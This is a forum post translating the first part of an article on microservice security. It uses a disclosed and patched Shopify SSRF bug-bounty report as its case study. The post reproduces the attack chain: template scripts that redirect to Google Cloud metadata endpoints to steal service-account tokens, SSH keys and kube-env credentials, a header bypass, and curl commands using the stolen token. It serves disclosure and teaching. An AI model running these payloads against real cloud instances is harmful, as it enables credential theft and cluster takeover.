请选择 进入手机版 | 继续访问电脑版

设为首页 收藏本站
思科社区 关注
思科社区

搜索
热搜: 邮件服务器
查看: 381|回复: 0

【原创翻译】通过Shopify平台案例探究微服务安全(1)

[复制链接]
发表于 2020-2-15 15:32:51 | 显示全部楼层 |阅读模式
引言:本文将和您讨论微服务安全的重要性,并以Shopify为例探究防范入侵的各种最佳实践。
对于一些大型服务架构而言,微服务的安全性在它们所面临的诸多攻击因素中显得尤为重要。本文将和您讨论如何在生产环境中防范各种入侵,以保障整体安全。同时,我将介绍一些实用的方法,以应对通用的微服务安全问题。您可以通过采用这些技术和方法,来轻松地加固各类微服务应用。
另外,我将模拟从公有云服务器实例的单入口,入侵Shopify(译者注:加拿大电商软件平台)的微服务实例,并访问到其元数据为例,来探讨微服务部署和开发过程中的最佳实践。
概述
让我们首先来浏览一下微服务的架构特点,和它被用来进行应用开发的过程中,所面对的一系列安全问题。
微服务的一般特性
·      解耦的组件
·      增加的复杂性
·      固定的架构
·      更短的开发周期
·      最小化依赖项和共同关注点
·      小而集中
·      相关服务之间的数据约定
·      对某个特定技术栈的依赖
·      良好的集成测试,减少了安全漏洞
由于开发人员对于AppSec(应用安全)的意识较为薄弱,甚至是对于通用应用安全规范的无视,他们可能会从如下方面增加微服务安全的复杂度与挑战:
·      分段和隔离
·      多云环境的部署,增加了资产安全的管理成本
·      身份管理和访问控制
·      数据与消息的完整性
·      频繁的变更与淘汰周期
上述与微服务架构相关的因素,都会导致其整体潜在攻击面的扩大增加。而随着服务和资产数量的增加,其风险因素也会大为增多。因此,我们有必要通过定期的代码审查和安全审计,来解决上述提到的各种开发与部署过程中的问题。
微服务的AppSec
许多公司对AppSec(应用安全)都缺乏重视,他们仅仅依靠一些自动化的漏洞扫描工具,和被动式的威胁建模,来检查各种安全配置上的错误,并测试其基于微服务应用的安全态势。显然,这些都无法有效地应对真实环境中的复杂入侵与威胁。
因此开发人员稍有不慎,就可能给应用在整体层面上的留下可以被利用和入侵的各种安全漏洞。这正是为什么我们需要不断地修正自己的开发方式,进而在组织内部通过采用AppSec的最佳实践,以保证微服务安全态势的原因。
我们应当将下列技术与实践,严格地其贯彻到微服务的开发和部署之中,以确保交付产品的安全可靠,且符合业界规定的各种安全实践标准。
持续安全
人们经常不得不为自己所忽视的安全而“买单”。因此,持续安全的目标就是要通过定期测试微服务应用的安全性,来降低整体成本与开销。而实现持续安全的最好方法便是DevSecOps,它包括了持续的安全测试,和精细的内、外部审计。我们需要通过模拟从不同攻击者的角度,来分析微服务可能会受到哪些方面的入侵,定位其自身可能存在的漏洞,从而将各种问题防范于未然。
方法
·      内部测试(主要是漏洞被利用之后的阶段)
·      外部测试
下面,我们针对上述方法,来讨论持续安全的具体“落地”。
案例探究(Shopify
@0xacb的报告:虽然Shopify基础架构已被隔离成了多个子集,但是通过Shopify交易平台上的截屏功能,攻击者可能利用服务器端请求伪造(request forgery)的bug,来获得对于某个子集内任何容器的root访问权限。在接报的一小时后,我们停止了存在漏洞的服务,并审核了所有子集中的应用,进而对整体基础架构实施了应急补救。存在该漏洞的子集并不包括Shopify的核心。在审核了所有的服务之后,我们通过部署元数据隐藏代理(metadata concealment proxy)的方式,禁用了对于元数据信息的访问,进而修复了该bug。另外在架构内所有子集中,我们也禁用了通过内部IP地址的直接访问。鉴于该子集内的一些应用确实有可能会访问到Shopify的核心数据和系统,我们特为此核心远程代码执行漏洞(Core RCE),设置$25000奖金。”
以上便是ShopifyHackerone(译者注:全球最大的漏洞众测平台)中发布的,其针对该事件的奖赏计划。
根据该报告,我们能够得出这样的结论:即使是应用端的漏洞,也会导致服务器受到入侵的威胁。撇开此类攻击的复杂性不谈,该漏洞还是非常容易被利用的。通常情况下,攻击者会利用一个非常简单的SSRFServer-Side Request Forgery,服务器端请求伪造)来攻击该漏洞,从而访问到主实例(master instance)的元数据,然后进一步获取那些运行在谷歌云平台上,其他存在同类漏洞的实例的room访问权限。
Shopify的“入侵链”
下面让我们来探讨一下攻击者将如何通过该漏洞,来获取所有Shopify实例的root访问权限。
注:由于源自真实的环境,所以我们在此用████隐去了一些敏感信息。
1 -访问谷歌云的元数据
·      新建一个店铺(partners.shopify.com)。
·      编辑模板:password.liquid,并添加如下内容:
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframes don'twork here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
</script>

·      访问https://exchange.shopify.com/create-a-listing,并安装Exchange应用。
·      等待该店铺的截图在创建列表页面上出现。
·      下载其PNG文件,使用图像编辑软件打开它,或将其转换为JPEGChrome浏览器会显示一个黑色PNG)。
虽然查找谷歌云实例中的各个SSRF需要用到一种特殊的包头,但是我发现可以采用一个非常简单的方法来“绕过”它:由于/v1beta1端点仍然可用,就算不需要Metadata-Flavor: Google的包头,仍然可返回相同的token(令牌)。
我曾试图截获更多的数据,但是网络截图软件无法根据application/text的响应,产生任何图像。不过我发现:可以通过添加参数alt=json,以强制让application/json做出响应。因此我设法截获了更多的数据,包括:SSH公共密钥(带有电子邮件地址)、项目名称(█████)、和实例名称等:
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>

那么我可以使用截获的token来添加自己的SSH密钥吗?答案是:不可以。
curl -X POST"https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata"-H "Authorization: Bearer ██████████████" -H "Content-Type:application/json" --data '{"items": [{"key":"0xACB", "value": "test"}]}'


{
"error": {
  "errors": [
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required'compute.projects.setCommonInstanceMetadata' permission for'projects/███████'"
   },
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required'iam.serviceAccounts.actAs' permission for 'projects/███████'"
   }
  ],
  "code": 403,
  "message": "Required'compute.projects.setCommonInstanceMetadata' permission for'projects/████████'"
}
}

我全面检查了该token,它并没有对Compute Engine API(译者注:一种谷歌的API)进行读与写的访问。
curl"https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"


{
"issued_to": "███████",
"audience": "███",
"scope":"https://www.googleapis.com/auth/cloud-platform",
"expires_in": 1307,
"access_type": "offline"
}


2 –转存kube-env
我创建了一个新的店铺(http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并递归地“拉取出”该实例的各项属性
由于元数据隐藏(https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被开启,因为我能够获取到kube-env属性。
另外,由于图像已被损坏,因此我针对http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json创建了一个新的请求,以查看Kubelet证书的剩余部分,及其私钥。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 1
  • 2
  • 3
  • 4
  • 5
平均得分0 (0 评价)
您需要登录后才可以回帖 思科 CCO 登录 | 思科 CCO 注册   

本版积分规则

Archiver | 思科社区  

GMT+8, 2020-4-4 12:29 , Processed in 0.106757 second(s), 30 queries .

京ICP备11014401号-17

© 2020 思科系统.版权所有 重要声明 | 保密声明 | 隐私权政策 | 商标 |

快速回复 返回顶部 返回列表